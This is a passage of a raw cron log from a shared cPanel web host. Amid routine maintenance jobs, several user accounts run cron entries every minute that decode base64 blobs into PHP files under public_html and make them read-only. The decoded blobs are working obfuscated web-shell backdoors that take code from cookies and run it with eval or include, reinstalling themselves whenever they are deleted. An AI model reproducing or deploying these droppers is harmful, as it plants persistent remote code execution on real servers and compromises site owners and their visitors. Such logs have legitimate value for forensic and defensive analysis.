"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:03:01 medusa CROND[27381]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:03:01 medusa CROND[27382]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:04:01 medusa CROND[19761]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:04:01 medusa CROND[19869]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:04:01 medusa CROND[19870]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:04:01 medusa CROND[19871]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:04:01 medusa CROND[19872]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:04:01 medusa CROND[19873]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:04:01 medusa CROND[19874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:04:01 medusa CROND[19875]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:04:01 medusa CROND[19877]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:04:01 medusa CROND[19878]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:04:01 medusa CROND[19881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:04:01 medusa CROND[19882]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:04:01 medusa CROND[19883]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:05:01 medusa CROND[11684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:05:01 medusa CROND[11685]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 13:05:01 medusa CROND[11781]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 13:05:01 medusa CROND[11801]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:05:01 medusa CROND[11803]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 13:05:01 medusa CROND[11804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:05:01 medusa CROND[11805]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:05:01 medusa CROND[11806]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:05:01 medusa CROND[11810]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 13:05:01 medusa CROND[11813]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:05:01 medusa CROND[11814]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:05:01 medusa CROND[11815]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:05:01 medusa CROND[11827]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:05:01 medusa CROND[11829]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 13:05:01 medusa CROND[11832]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 13:05:01 medusa CROND[11830]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:05:01 medusa CROND[11835]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgI